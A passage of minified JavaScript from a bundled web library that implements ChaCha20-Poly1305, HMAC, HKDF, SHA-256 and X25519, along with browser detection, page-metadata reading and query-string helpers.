Uint8Array(16);return this.finish(e),e},t.prototype.clean=function(){return n.wipe(this._buffer),n.wipe(this._r),n.wipe(this._h),n.wipe(this._pad),this._leftover=0,this._fin=0,this._finished=!0,this},t}();function i(e,t){var n=new r(e);n.update(t);var i=n.digest();return n.clean(),i}function o(n,r){return n.length===e.DIGEST_LENGTH&&r.length===e.DIGEST_LENGTH&&t.equal(n,r)}e.Poly1305=r,e.oneTimeAuth=i,e.equal=o}(Es),function(e){Object.defineProperty(e,"__esModule",{value:!0});var t=ps,n=Es,r=gr,i=Or,o=Ss;e.KEY_LENGTH=32,e.NONCE_LENGTH=12,e.TAG_LENGTH=16;var s=new Uint8Array(16),a=function(){function a(t){if(this.nonceLength=e.NONCE_LENGTH,this.tagLength=e.TAG_LENGTH,t.length!==e.KEY_LENGTH)throw new Error("ChaCha20Poly1305 needs 32-byte key");this._key=new Uint8Array(t)}return a.prototype.seal=function(e,n,i,o){if(e.length>16)throw new Error("ChaCha20Poly1305: incorrect nonce length");var s=new Uint8Array(16);s.set(e,s.length-e.length);var a=new Uint8Array(32);t.stream(this._key,s,a,4);var u,c=n.length+this.tagLength;if(o){if(o.length!==c)throw new Error("ChaCha20Poly1305: incorrect destination length");u=o}else u=new Uint8Array(c);return t.streamXOR(this._key,s,n,u,4),this._authenticate(u.subarray(u.length-this.tagLength,u.length),a,u.subarray(0,u.length-this.tagLength),i),r.wipe(s),u},a.prototype.open=function(e,n,i,s){if(e.length>16)throw new Error("ChaCha20Poly1305: incorrect nonce length");if(n.length<this.tagLength)return null;var a=new Uint8Array(16);a.set(e,a.length-e.length);var u=new Uint8Array(32);t.stream(this._key,a,u,4);var c=new Uint8Array(this.tagLength);if(this._authenticate(c,u,n.subarray(0,n.length-this.tagLength),i),!o.equal(c,n.subarray(n.length-this.tagLength,n.length)))return null;var l,f=n.length-this.tagLength;if(s){if(s.length!==f)throw new Error("ChaCha20Poly1305: incorrect destination length");l=s}else l=new Uint8Array(f);return t.streamXOR(this._key,a,n.subarray(0,n.length-this.tagLength),l,4),r.wipe(a),l},a.prototype.clean=function(){return r.wipe(this._key),this},a.prototype._authenticate=function(e,t,o,a){var u=new n.Poly1305(t);a&&(u.update(a),a.length%16>0&&u.update(s.subarray(a.length%16))),u.update(o),o.length%16>0&&u.update(s.subarray(o.length%16));var c=new Uint8Array(8);a&&i.writeUint64LE(a.length,c),u.update(c),i.writeUint64LE(o.length,c),u.update(c);for(var l=u.digest(),f=0;f<l.length;f++)e[f]=l[f];u.clean(),r.wipe(l),r.wipe(c)},a}();e.ChaCha20Poly1305=a}(ds);var ks={},Cs={},Ps={};function As(e){return typeof e.saveState<"u"&&typeof e.restoreState<"u"&&typeof e.cleanSavedState<"u"}Object.defineProperty(Ps,"__esModule",{value:!0}),Ps.isSerializableHash=As,Object.defineProperty(Cs,"__esModule",{value:!0});var Ns=Ps,Ts=Ss,Ms=gr,Ls=function(){function e(e,t){this._finished=!1,this._inner=new e,this._outer=new e,this.blockSize=this._outer.blockSize,this.digestLength=this._outer.digestLength;var n=new Uint8Array(this.blockSize);t.length>this.blockSize?this._inner.update(t).finish(n).clean():n.set(t);for(var r=0;r<n.length;r++)n[r]^=54;for(this._inner.update(n),r=0;r<n.length;r++)n[r]^=106;this._outer.update(n),Ns.isSerializableHash(this._inner)&&Ns.isSerializableHash(this._outer)&&(this._innerKeyedState=this._inner.saveState(),this._outerKeyedState=this._outer.saveState()),Ms.wipe(n)}return e.prototype.reset=function(){if(!Ns.isSerializableHash(this._inner)||!Ns.isSerializableHash(this._outer))throw new Error("hmac: can't reset() because hash doesn't implement restoreState()");return this._inner.restoreState(this._innerKeyedState),this._outer.restoreState(this._outerKeyedState),this._finished=!1,this},e.prototype.clean=function(){Ns.isSerializableHash(this._inner)&&this._inner.cleanSavedState(this._innerKeyedState),Ns.isSerializableHash(this._outer)&&this._outer.cleanSavedState(this._outerKeyedState),this._inner.clean(),this._outer.clean()},e.prototype.update=function(e){return this._inner.update(e),this},e.prototype.finish=function(e){return this._finished?(this._outer.finish(e),this):(this._inner.finish(e),this._outer.update(e.subarray(0,this.digestLength)).finish(e),this._finished=!0,this)},e.prototype.digest=function(){var e=new Uint8Array(this.digestLength);return this.finish(e),e},e.prototype.saveState=function(){if(!Ns.isSerializableHash(this._inner))throw new Error("hmac: can't saveState() because hash doesn't implement it");return this._inner.saveState()},e.prototype.restoreState=function(e){if(!Ns.isSerializableHash(this._inner)||!Ns.isSerializableHash(this._outer))throw new Error("hmac: can't restoreState() because hash doesn't implement it");return this._inner.restoreState(e),this._outer.restoreState(this._outerKeyedState),this._finished=!1,this},e.prototype.cleanSavedState=function(e){if(!Ns.isSerializableHash(this._inner))throw new Error("hmac: can't cleanSavedState() because hash doesn't implement it");this._inner.cleanSavedState(e)},e}();function js(e,t,n){var r=new Ls(e,t);r.update(n);var i=r.digest();return r.clean(),i}Cs.HMAC=Ls,Cs.hmac=js,Cs.equal=Ts.equal,Object.defineProperty(ks,"__esModule",{value:!0});var Us=Cs,Ds=gr,zs=function(){function e(e,t,n,r){void 0===n&&(n=new Uint8Array(0)),this._counter=new Uint8Array(1),this._hash=e,this._info=r;var i=Us.hmac(this._hash,n,t);this._hmac=new Us.HMAC(e,i),this._buffer=new Uint8Array(this._hmac.digestLength),this._bufpos=this._buffer.length}return e.prototype._fillBuffer=function(){this._counter[0]++;var e=this._counter[0];if(0===e)throw new Error("hkdf: cannot expand more");this._hmac.reset(),e>1&&this._hmac.update(this._buffer),this._info&&this._hmac.update(this._info),this._hmac.update(this._counter),this._hmac.finish(this._buffer),this._bufpos=0},e.prototype.expand=function(e){for(var t=new Uint8Array(e),n=0;n<t.length;n++)this._bufpos===this._buffer.length&&this._fillBuffer(),t[n]=this._buffer[this._bufpos++];return t},e.prototype.clean=function(){this._hmac.clean(),Ds.wipe(this._buffer),Ds.wipe(this._counter),this._bufpos=0},e}(),Fs=ks.HKDF=zs,Bs={};!function(e){Object.defineProperty(e,"__esModule",{value:!0});var t=Or,n=gr;e.DIGEST_LENGTH=32,e.BLOCK_SIZE=64;var r=function(){function r(){this.digestLength=e.DIGEST_LENGTH,this.blockSize=e.BLOCK_SIZE,this._state=new Int32Array(8),this._temp=new Int32Array(64),this._buffer=new Uint8Array(128),this._bufferLength=0,this._bytesHashed=0,this._finished=!1,this.reset()}return r.prototype._initState=function(){this._state[0]=1779033703,this._state[1]=3144134277,this._state[2]=1013904242,this._state[3]=2773480762,this._state[4]=1359893119,this._state[5]=2600822924,this._state[6]=528734635,this._state[7]=1541459225},r.prototype.reset=function(){return this._initState(),this._bufferLength=0,this._bytesHashed=0,this._finished=!1,this},r.prototype.clean=function(){n.wipe(this._buffer),n.wipe(this._temp),this.reset()},r.prototype.update=function(e,t){if(void 0===t&&(t=e.length),this._finished)throw new Error("SHA256: can't update because hash was finished.");var n=0;if(this._bytesHashed+=t,this._bufferLength>0){for(;this._bufferLength<this.blockSize&&t>0;)this._buffer[this._bufferLength++]=e[n++],t--;this._bufferLength===this.blockSize&&(o(this._temp,this._state,this._buffer,0,this.blockSize),this._bufferLength=0)}for(t>=this.blockSize&&(n=o(this._temp,this._state,e,n,t),t%=this.blockSize);t>0;)this._buffer[this._bufferLength++]=e[n++],t--;return this},r.prototype.finish=function(e){if(!this._finished){var n=this._bytesHashed,r=this._bufferLength,i=n/536870912|0,s=n<<3,a=n%64<56?64:128;this._buffer[r]=128;for(var u=r+1;u<a-8;u++)this._buffer[u]=0;t.writeUint32BE(i,this._buffer,a-8),t.writeUint32BE(s,this._buffer,a-4),o(this._temp,this._state,this._buffer,0,a),this._finished=!0}for(u=0;u<this.digestLength/4;u++)t.writeUint32BE(this._state[u],e,4*u);return this},r.prototype.digest=function(){var e=new Uint8Array(this.digestLength);return this.finish(e),e},r.prototype.saveState=function(){if(this._finished)throw new Error("SHA256: cannot save finished state");return{state:new Int32Array(this._state),buffer:this._bufferLength>0?new Uint8Array(this._buffer):void 0,bufferLength:this._bufferLength,bytesHashed:this._bytesHashed}},r.prototype.restoreState=function(e){return this._state.set(e.state),this._bufferLength=e.bufferLength,e.buffer&&this._buffer.set(e.buffer),this._bytesHashed=e.bytesHashed,this._finished=!1,this},r.prototype.cleanSavedState=function(e){n.wipe(e.state),e.buffer&&n.wipe(e.buffer),e.bufferLength=0,e.bytesHashed=0},r}();e.SHA256=r;var i=new Int32Array([1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298]);function o(e,n,r,o,s){for(;s>=64;){for(var a=n[0],u=n[1],c=n[2],l=n[3],f=n[4],h=n[5],d=n[6],p=n[7],g=0;g<16;g++){var y=o+4*g;e[g]=t.readUint32BE(r,y)}for(g=16;g<64;g++){var v=e[g-2],m=(v>>>17|v<<15)^(v>>>19|v<<13)^v>>>10,_=((v=e[g-15])>>>7|v<<25)^(v>>>18|v<<14)^v>>>3;e[g]=(m+e[g-7]|0)+(_+e[g-16]|0)}for(g=0;g<64;g++)m=(((f>>>6|f<<26)^(f>>>11|f<<21)^(f>>>25|f<<7))+(f&h^~f&d)|0)+(p+(i[g]+e[g]|0)|0)|0,_=((a>>>2|a<<30)^(a>>>13|a<<19)^(a>>>22|a<<10))+(a&u^a&c^u&c)|0,p=d,d=h,h=f,f=l+m|0,l=c,c=u,u=a,a=m+_|0;n[0]+=a,n[1]+=u,n[2]+=c,n[3]+=l,n[4]+=f,n[5]+=h,n[6]+=d,n[7]+=p,o+=64,s-=64}return o}function s(e){var t=new r;t.update(e);var n=t.digest();return t.clean(),n}e.hash=s}(Bs);var Hs={};!function(e){Object.defineProperty(e,"__esModule",{value:!0}),e.sharedKey=e.generateKeyPair=e.generateKeyPairFromSeed=e.scalarMultBase=e.scalarMult=e.SHARED_KEY_LENGTH=e.SECRET_KEY_LENGTH=e.PUBLIC_KEY_LENGTH=void 0;const t=ur,n=gr;function r(e){const t=new Float64Array(16);if(e)for(let n=0;n<e.length;n++)t[n]=e[n];return t}e.PUBLIC_KEY_LENGTH=32,e.SECRET_KEY_LENGTH=32,e.SHARED_KEY_LENGTH=32;const i=new Uint8Array(32);i[0]=9;const o=r([56129,1]);function s(e){let t=1;for(let n=0;n<16;n++){let r=e[n]+t+65535;t=Math.floor(r/65536),e[n]=r-65536*t}e[0]+=t-1+37*(t-1)}function a(e,t,n){const r=~(n-1);for(let n=0;n<16;n++){const i=r&(e[n]^t[n]);e[n]^=i,t[n]^=i}}function u(e,t){const n=r(),i=r();for(let e=0;e<16;e++)i[e]=t[e];s(i),s(i),s(i);for(let e=0;e<2;e++){n[0]=i[0]-65517;for(let e=1;e<15;e++)n[e]=i[e]-65535-(n[e-1]>>16&1),n[e-1]&=65535;n[15]=i[15]-32767-(n[14]>>16&1);const e=n[15]>>16&1;n[14]&=65535,a(i,n,1-e)}for(let t=0;t<16;t++)e[2*t]=255&i[t],e[2*t+1]=i[t]>>8}function c(e,t){for(let n=0;n<16;n++)e[n]=t[2*n]+(t[2*n+1]<<8);e[15]&=32767}function l(e,t,n){for(let r=0;r<16;r++)e[r]=t[r]+n[r]}function f(e,t,n){for(let r=0;r<16;r++)e[r]=t[r]-n[r]}function h(e,t,n){let r,i,o=0,s=0,a=0,u=0,c=0,l=0,f=0,h=0,d=0,p=0,g=0,y=0,v=0,m=0,_=0,b=0,w=0,E=0,S=0,O=0,x=0,I=0,R=0,k=0,C=0,P=0,A=0,N=0,T=0,M=0,L=0,j=n[0],U=n[1],D=n[2],z=n[3],F=n[4],B=n[5],H=n[6],q=n[7],V=n[8],$=n[9],W=n[10],K=n[11],G=n[12],Y=n[13],Q=n[14],J=n[15];r=t[0],o+=r*j,s+=r*U,a+=r*D,u+=r*z,c+=r*F,l+=r*B,f+=r*H,h+=r*q,d+=r*V,p+=r*$,g+=r*W,y+=r*K,v+=r*G,m+=r*Y,_+=r*Q,b+=r*J,r=t[1],s+=r*j,a+=r*U,u+=r*D,c+=r*z,l+=r*F,f+=r*B,h+=r*H,d+=r*q,p+=r*V,g+=r*$,y+=r*W,v+=r*K,m+=r*G,_+=r*Y,b+=r*Q,w+=r*J,r=t[2],a+=r*j,u+=r*U,c+=r*D,l+=r*z,f+=r*F,h+=r*B,d+=r*H,p+=r*q,g+=r*V,y+=r*$,v+=r*W,m+=r*K,_+=r*G,b+=r*Y,w+=r*Q,E+=r*J,r=t[3],u+=r*j,c+=r*U,l+=r*D,f+=r*z,h+=r*F,d+=r*B,p+=r*H,g+=r*q,y+=r*V,v+=r*$,m+=r*W,_+=r*K,b+=r*G,w+=r*Y,E+=r*Q,S+=r*J,r=t[4],c+=r*j,l+=r*U,f+=r*D,h+=r*z,d+=r*F,p+=r*B,g+=r*H,y+=r*q,v+=r*V,m+=r*$,_+=r*W,b+=r*K,w+=r*G,E+=r*Y,S+=r*Q,O+=r*J,r=t[5],l+=r*j,f+=r*U,h+=r*D,d+=r*z,p+=r*F,g+=r*B,y+=r*H,v+=r*q,m+=r*V,_+=r*$,b+=r*W,w+=r*K,E+=r*G,S+=r*Y,O+=r*Q,x+=r*J,r=t[6],f+=r*j,h+=r*U,d+=r*D,p+=r*z,g+=r*F,y+=r*B,v+=r*H,m+=r*q,_+=r*V,b+=r*$,w+=r*W,E+=r*K,S+=r*G,O+=r*Y,x+=r*Q,I+=r*J,r=t[7],h+=r*j,d+=r*U,p+=r*D,g+=r*z,y+=r*F,v+=r*B,m+=r*H,_+=r*q,b+=r*V,w+=r*$,E+=r*W,S+=r*K,O+=r*G,x+=r*Y,I+=r*Q,R+=r*J,r=t[8],d+=r*j,p+=r*U,g+=r*D,y+=r*z,v+=r*F,m+=r*B,_+=r*H,b+=r*q,w+=r*V,E+=r*$,S+=r*W,O+=r*K,x+=r*G,I+=r*Y,R+=r*Q,k+=r*J,r=t[9],p+=r*j,g+=r*U,y+=r*D,v+=r*z,m+=r*F,_+=r*B,b+=r*H,w+=r*q,E+=r*V,S+=r*$,O+=r*W,x+=r*K,I+=r*G,R+=r*Y,k+=r*Q,C+=r*J,r=t[10],g+=r*j,y+=r*U,v+=r*D,m+=r*z,_+=r*F,b+=r*B,w+=r*H,E+=r*q,S+=r*V,O+=r*$,x+=r*W,I+=r*K,R+=r*G,k+=r*Y,C+=r*Q,P+=r*J,r=t[11],y+=r*j,v+=r*U,m+=r*D,_+=r*z,b+=r*F,w+=r*B,E+=r*H,S+=r*q,O+=r*V,x+=r*$,I+=r*W,R+=r*K,k+=r*G,C+=r*Y,P+=r*Q,A+=r*J,r=t[12],v+=r*j,m+=r*U,_+=r*D,b+=r*z,w+=r*F,E+=r*B,S+=r*H,O+=r*q,x+=r*V,I+=r*$,R+=r*W,k+=r*K,C+=r*G,P+=r*Y,A+=r*Q,N+=r*J,r=t[13],m+=r*j,_+=r*U,b+=r*D,w+=r*z,E+=r*F,S+=r*B,O+=r*H,x+=r*q,I+=r*V,R+=r*$,k+=r*W,C+=r*K,P+=r*G,A+=r*Y,N+=r*Q,T+=r*J,r=t[14],_+=r*j,b+=r*U,w+=r*D,E+=r*z,S+=r*F,O+=r*B,x+=r*H,I+=r*q,R+=r*V,k+=r*$,C+=r*W,P+=r*K,A+=r*G,N+=r*Y,T+=r*Q,M+=r*J,r=t[15],b+=r*j,w+=r*U,E+=r*D,S+=r*z,O+=r*F,x+=r*B,I+=r*H,R+=r*q,k+=r*V,C+=r*$,P+=r*W,A+=r*K,N+=r*G,T+=r*Y,M+=r*Q,L+=r*J,o+=38*w,s+=38*E,a+=38*S,u+=38*O,c+=38*x,l+=38*I,f+=38*R,h+=38*k,d+=38*C,p+=38*P,g+=38*A,y+=38*N,v+=38*T,m+=38*M,_+=38*L,i=1,r=o+i+65535,i=Math.floor(r/65536),o=r-65536*i,r=s+i+65535,i=Math.floor(r/65536),s=r-65536*i,r=a+i+65535,i=Math.floor(r/65536),a=r-65536*i,r=u+i+65535,i=Math.floor(r/65536),u=r-65536*i,r=c+i+65535,i=Math.floor(r/65536),c=r-65536*i,r=l+i+65535,i=Math.floor(r/65536),l=r-65536*i,r=f+i+65535,i=Math.floor(r/65536),f=r-65536*i,r=h+i+65535,i=Math.floor(r/65536),h=r-65536*i,r=d+i+65535,i=Math.floor(r/65536),d=r-65536*i,r=p+i+65535,i=Math.floor(r/65536),p=r-65536*i,r=g+i+65535,i=Math.floor(r/65536),g=r-65536*i,r=y+i+65535,i=Math.floor(r/65536),y=r-65536*i,r=v+i+65535,i=Math.floor(r/65536),v=r-65536*i,r=m+i+65535,i=Math.floor(r/65536),m=r-65536*i,r=_+i+65535,i=Math.floor(r/65536),_=r-65536*i,r=b+i+65535,i=Math.floor(r/65536),b=r-65536*i,o+=i-1+37*(i-1),i=1,r=o+i+65535,i=Math.floor(r/65536),o=r-65536*i,r=s+i+65535,i=Math.floor(r/65536),s=r-65536*i,r=a+i+65535,i=Math.floor(r/65536),a=r-65536*i,r=u+i+65535,i=Math.floor(r/65536),u=r-65536*i,r=c+i+65535,i=Math.floor(r/65536),c=r-65536*i,r=l+i+65535,i=Math.floor(r/65536),l=r-65536*i,r=f+i+65535,i=Math.floor(r/65536),f=r-65536*i,r=h+i+65535,i=Math.floor(r/65536),h=r-65536*i,r=d+i+65535,i=Math.floor(r/65536),d=r-65536*i,r=p+i+65535,i=Math.floor(r/65536),p=r-65536*i,r=g+i+65535,i=Math.floor(r/65536),g=r-65536*i,r=y+i+65535,i=Math.floor(r/65536),y=r-65536*i,r=v+i+65535,i=Math.floor(r/65536),v=r-65536*i,r=m+i+65535,i=Math.floor(r/65536),m=r-65536*i,r=_+i+65535,i=Math.floor(r/65536),_=r-65536*i,r=b+i+65535,i=Math.floor(r/65536),b=r-65536*i,o+=i-1+37*(i-1),e[0]=o,e[1]=s,e[2]=a,e[3]=u,e[4]=c,e[5]=l,e[6]=f,e[7]=h,e[8]=d,e[9]=p,e[10]=g,e[11]=y,e[12]=v,e[13]=m,e[14]=_,e[15]=b}function d(e,t){h(e,t,t)}function p(e,t){const n=r();for(let e=0;e<16;e++)n[e]=t[e];for(let e=253;e>=0;e--)d(n,n),2!==e&&4!==e&&h(n,n,t);for(let t=0;t<16;t++)e[t]=n[t]}function g(e,t){const n=new Uint8Array(32),i=new Float64Array(80),s=r(),g=r(),y=r(),v=r(),m=r(),_=r();for(let t=0;t<31;t++)n[t]=e[t];n[31]=127&e[31]|64,n[0]&=248,c(i,t);for(let e=0;e<16;e++)g[e]=i[e];s[0]=v[0]=1;for(let e=254;e>=0;--e){const t=n[e>>>3]>>>(7&e)&1;a(s,g,t),a(y,v,t),l(m,s,y),f(s,s,y),l(y,g,v),f(g,g,v),d(v,m),d(_,s),h(s,y,s),h(y,g,m),l(m,s,y),f(s,s,y),d(g,s),f(y,v,_),h(s,y,o),l(s,s,v),h(y,y,s),h(s,v,_),h(v,g,i),d(g,m),a(s,g,t),a(y,v,t)}for(let e=0;e<16;e++)i[e+16]=s[e],i[e+32]=y[e],i[e+48]=g[e],i[e+64]=v[e];const b=i.subarray(32),w=i.subarray(16);p(b,b),h(w,w,b);const E=new Uint8Array(32);return u(E,w),E}function y(e){return g(e,i)}function v(t){if(t.length!==e.SECRET_KEY_LENGTH)throw new Error(`x25519: seed must be ${e.SECRET_KEY_LENGTH} bytes`);const n=new Uint8Array(t);return{publicKey:y(n),secretKey:n}}function m(e){const r=(0,t.randomBytes)(32,e),i=v(r);return(0,n.wipe)(r),i}function _(t,n,r=!1){if(t.length!==e.PUBLIC_KEY_LENGTH)throw new Error("X25519: incorrect secret key length");if(n.length!==e.PUBLIC_KEY_LENGTH)throw new Error("X25519: incorrect public key length");const i=g(t,n);if(r){let e=0;for(let t=0;t<i.length;t++)e|=i[t];if(0===e)throw new Error("X25519: invalid shared key")}return i}e.scalarMult=g,e.scalarMultBase=y,e.generateKeyPairFromSeed=v,e.generateKeyPair=m,e.sharedKey=_}(Hs);var qs=function(e,t,n){if(n||2===arguments.length)for(var r,i=0,o=t.length;i<o;i++)(r||!(i in t))&&(r||(r=Array.prototype.slice.call(t,0,i)),r[i]=t[i]);return e.concat(r||Array.prototype.slice.call(t))},Vs=function(){function e(e,t,n){this.name=e,this.version=t,this.os=n,this.type="browser"}return e}(),$s=function(){function e(e){this.version=e,this.type="node",this.name="node",this.os=process.platform}return e}(),Ws=function(){function e(e,t,n,r){this.name=e,this.version=t,this.os=n,this.bot=r,this.type="bot-device"}return e}(),Ks=function(){function e(){this.type="bot",this.bot=!0,this.name="bot",this.version=null,this.os=null}return e}(),Gs=function(){function e(){this.type="react-native",this.name="react-native",this.version=null,this.os=null}return e}(),Ys=/(nuhk|curl|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask\ Jeeves\/Teoma|ia_archiver)/,Qs=3,Js=[["aol",/AOLShield\/([0-9\._]+)/],["edge",/Edge\/([0-9\._]+)/],["edge-ios",/EdgiOS\/([0-9\._]+)/],["yandexbrowser",/YaBrowser\/([0-9\._]+)/],["kakaotalk",/KAKAOTALK\s([0-9\.]+)/],["samsung",/SamsungBrowser\/([0-9\.]+)/],["silk",/\bSilk\/([0-9._-]+)\b/],["miui",/MiuiBrowser\/([0-9\.]+)$/],["beaker",/BeakerBrowser\/([0-9\.]+)/],["edge-chromium",/EdgA?\/([0-9\.]+)/],["chromium-webview",/(?!Chrom.*OPR)wv\).*Chrom(?:e|ium)\/([0-9\.]+)(:?\s|$)/],["chrome",/(?!Chrom.*OPR)Chrom(?:e|ium)\/([0-9\.]+)(:?\s|$)/],["phantomjs",/PhantomJS\/([0-9\.]+)(:?\s|$)/],["crios",/CriOS\/([0-9\.]+)(:?\s|$)/],["firefox",/Firefox\/([0-9\.]+)(?:\s|$)/],["fxios",/FxiOS\/([0-9\.]+)/],["opera-mini",/Opera Mini.*Version\/([0-9\.]+)/],["opera",/Opera\/([0-9\.]+)(?:\s|$)/],["opera",/OPR\/([0-9\.]+)(:?\s|$)/],["pie",/^Microsoft Pocket Internet Explorer\/(\d+\.\d+)$/],["pie",/^Mozilla\/\d\.\d+\s\(compatible;\s(?:MSP?IE|MSInternet Explorer) (\d+\.\d+);.*Windows CE.*\)$/],["netfront",/^Mozilla\/\d\.\d+.*NetFront\/(\d.\d)/],["ie",/Trident\/7\.0.*rv\:([0-9\.]+).*\).*Gecko$/],["ie",/MSIE\s([0-9\.]+);.*Trident\/[4-7].0/],["ie",/MSIE\s(7\.0)/],["bb10",/BB10;\sTouch.*Version\/([0-9\.]+)/],["android",/Android\s([0-9\.]+)/],["ios",/Version\/([0-9\._]+).*Mobile.*Safari.*/],["safari",/Version\/([0-9\._]+).*Safari/],["facebook",/FB[AS]V\/([0-9\.]+)/],["instagram",/Instagram\s([0-9\.]+)/],["ios-webview",/AppleWebKit\/([0-9\.]+).*Mobile/],["ios-webview",/AppleWebKit\/([0-9\.]+).*Gecko\)$/],["curl",/^curl\/([0-9\.]+)$/],["searchbot",/alexa|bot|crawl(er|ing)|facebookexternalhit|feedburner|google web preview|nagios|postrank|pingdom|slurp|spider|yahoo!|yandex/]],Xs=[["iOS",/iP(hone|od|ad)/],["Android OS",/Android/],["BlackBerry OS",/BlackBerry|BB10/],["Windows Mobile",/IEMobile/],["Amazon OS",/Kindle/],["Windows 3.11",/Win16/],["Windows 95",/(Windows 95)|(Win95)|(Windows_95)/],["Windows 98",/(Windows 98)|(Win98)/],["Windows 2000",/(Windows NT 5.0)|(Windows 2000)/],["Windows XP",/(Windows NT 5.1)|(Windows XP)/],["Windows Server 2003",/(Windows NT 5.2)/],["Windows Vista",/(Windows NT 6.0)/],["Windows 7",/(Windows NT 6.1)/],["Windows 8",/(Windows NT 6.2)/],["Windows 8.1",/(Windows NT 6.3)/],["Windows 10",/(Windows NT 10.0)/],["Windows ME",/Windows ME/],["Windows CE",/Windows CE|WinCE|Microsoft Pocket Internet Explorer/],["Open BSD",/OpenBSD/],["Sun OS",/SunOS/],["Chrome OS",/CrOS/],["Linux",/(Linux)|(X11)/],["Mac OS",/(Mac_PowerPC)|(Macintosh)/],["QNX",/QNX/],["BeOS",/BeOS/],["OS/2",/OS\/2/]];function Zs(e){return e?ta(e):typeof document>"u"&&typeof navigator<"u"&&"ReactNative"===navigator.product?new Gs:typeof navigator<"u"?ta(navigator.userAgent):ra()}function ea(e){return""!==e&&Js.reduce((function(t,n){var r=n[0],i=n[1];if(t)return t;var o=i.exec(e);return!!o&&[r,o]}),!1)}function ta(e){var t=ea(e);if(!t)return null;var n=t[0],r=t[1];if("searchbot"===n)return new Ks;var i=r[1]&&r[1].split(".").join("_").split("_").slice(0,3);i?i.length<Qs&&(i=qs(qs([],i,!0),ia(Qs-i.length),!0)):i=[];var o=i.join("."),s=na(e),a=Ys.exec(e);return a&&a[1]?new Ws(n,o,s,a[1]):new Vs(n,o,s)}function na(e){for(var t=0,n=Xs.length;t<n;t++){var r=Xs[t],i=r[0];if(r[1].exec(e))return i}return null}function ra(){return typeof process<"u"&&process.version?new $s(process.version.slice(1)):null}function ia(e){for(var t=[],n=0;n<e;n++)t.push("0");return t}var oa={};function sa(e){let t;return typeof window<"u"&&typeof window[e]<"u"&&(t=window[e]),t}function aa(e){const t=sa(e);if(!t)throw new Error(`${e} is not defined in Window`);return t}function ua(){return aa("document")}function ca(){return sa("document")}Object.defineProperty(oa,"__esModule",{value:!0}),oa.getLocalStorage=oa.getLocalStorageOrThrow=oa.getCrypto=oa.getCryptoOrThrow=ya=oa.getLocation=oa.getLocationOrThrow=da=oa.getNavigator=oa.getNavigatorOrThrow=la=oa.getDocument=oa.getDocumentOrThrow=oa.getFromWindowOrThrow=oa.getFromWindow=void 0,oa.getFromWindow=sa,oa.getFromWindowOrThrow=aa,oa.getDocumentOrThrow=ua;var la=oa.getDocument=ca;function fa(){return aa("navigator")}function ha(){return sa("navigator")}oa.getNavigatorOrThrow=fa;var da=oa.getNavigator=ha;function pa(){return aa("location")}function ga(){return sa("location")}oa.getLocationOrThrow=pa;var ya=oa.getLocation=ga;function va(){return aa("crypto")}function ma(){return sa("crypto")}function _a(){return aa("localStorage")}function ba(){return sa("localStorage")}oa.getCryptoOrThrow=va,oa.getCrypto=ma,oa.getLocalStorageOrThrow=_a,oa.getLocalStorage=ba;var wa={};Object.defineProperty(wa,"__esModule",{value:!0});var Ea=wa.getWindowMetadata=void 0;const Sa=oa;function Oa(){let e,t;try{e=Sa.getDocumentOrThrow(),t=Sa.getLocationOrThrow()}catch{return null}function n(){const n=e.getElementsByTagName("link"),r=[];for(let e=0;e<n.length;e++){const i=n[e],o=i.getAttribute("rel");if(o&&o.toLowerCase().indexOf("icon")>-1){const e=i.getAttribute("href");if(e)if(-1===e.toLowerCase().indexOf("https:")&&-1===e.toLowerCase().indexOf("http:")&&0!==e.indexOf("//")){let n=t.protocol+"//"+t.host;if(0===e.indexOf("/"))n+=e;else{const r=t.pathname.split("/");r.pop(),n+=r.join("/")+"/"+e}r.push(n)}else if(0===e.indexOf("//")){const n=t.protocol+e;r.push(n)}else r.push(e)}}return r}function r(...t){const n=e.getElementsByTagName("meta");for(let e=0;e<n.length;e++){const r=n[e],i=["itemprop","property","name"].map((e=>r.getAttribute(e))).filter((e=>!!e&&t.includes(e)));if(i.length&&i){const e=r.getAttribute("content");if(e)return e}}return""}function i(){let t=r("name","og:site_name","og:title","twitter:title");return t||(t=e.title),t}function o(){return r("description","og:description","twitter:description","keywords")}const s=i();return{description:o(),url:t.origin,icons:n(),name:s}}Ea=wa.getWindowMetadata=Oa;var xa={},Ia=e=>encodeURIComponent(e).replace(/[!'()*]/g,(e=>`%${e.charCodeAt(0).toString(16).toUpperCase()}`)),Ra="%[a-f0-9]{2}",ka=new RegExp("("+Ra+")|([^%]+?)","gi"),Ca=new RegExp("("+Ra+")+","gi");function Pa(e,t){try{return[decodeURIComponent(e.join(""))]}catch{}if(1===e.length)return e;t=t||1;var n=e.slice(0,t),r=e.slice(t);return Array.prototype.concat.call([],Pa(n),Pa(r))}function Aa(e){try{return decodeURIComponent(e)}catch{for(var t=e.match(ka)||[],n=1;n<t.length;n++)t=(e=Pa(t,n).join("")).match(ka)||[];return e}}function Na(e){for(var t={"%FE%FF":"��","%FF%FE":"��"},n=Ca.exec(e);n;){try{t[n[0]]=decodeURIComponent(n[0])}catch{var r=Aa(n[0]);r!==n[0]&&(t[n[0]]=r)}n=Ca.exec(e)}t["%C2"]="�";for(var i=Object.keys(t),o=0;o<i.length;o++){var s=i[o];e=e.replace(new RegExp(s,"g"),t[s])}return e}var Ta=function(e){if("string"!=typeof e)throw new TypeError("Expected `encodedURI` to be of type `string`, got `"+typeof e+"`");try{return e=e.replace(/\+/g," "),decodeURIComponent(e)}catch{return Na(e)}},Ma=(e,t)=>{if("string"!=typeof e||"string"!=typeof t)throw new TypeError("Expected the arguments to be of type `string`");if(""===t)return[e];const n=e.indexOf(t);return-1===n?[e]:[e.slice(0,n),e.slice(n+t.length)]},La=function(e,t){for(var n={},r=Object.keys(e),i=Array.isArray(t),o=0;o<r.length;o++){var s=r[o],a=e[s];(i?-1!==t.indexOf(s):t(s,a,e))&&(n[s]=a)}return n};!function(e){const t=Ia,n=Ta,r=Ma,i=La,o=e=>null==e,s=Symbol("encodeFragmentIdentifier");function a(e){switch(e.arrayFormat){case"index":return t=>(n,r)=>{const i=n.length;return 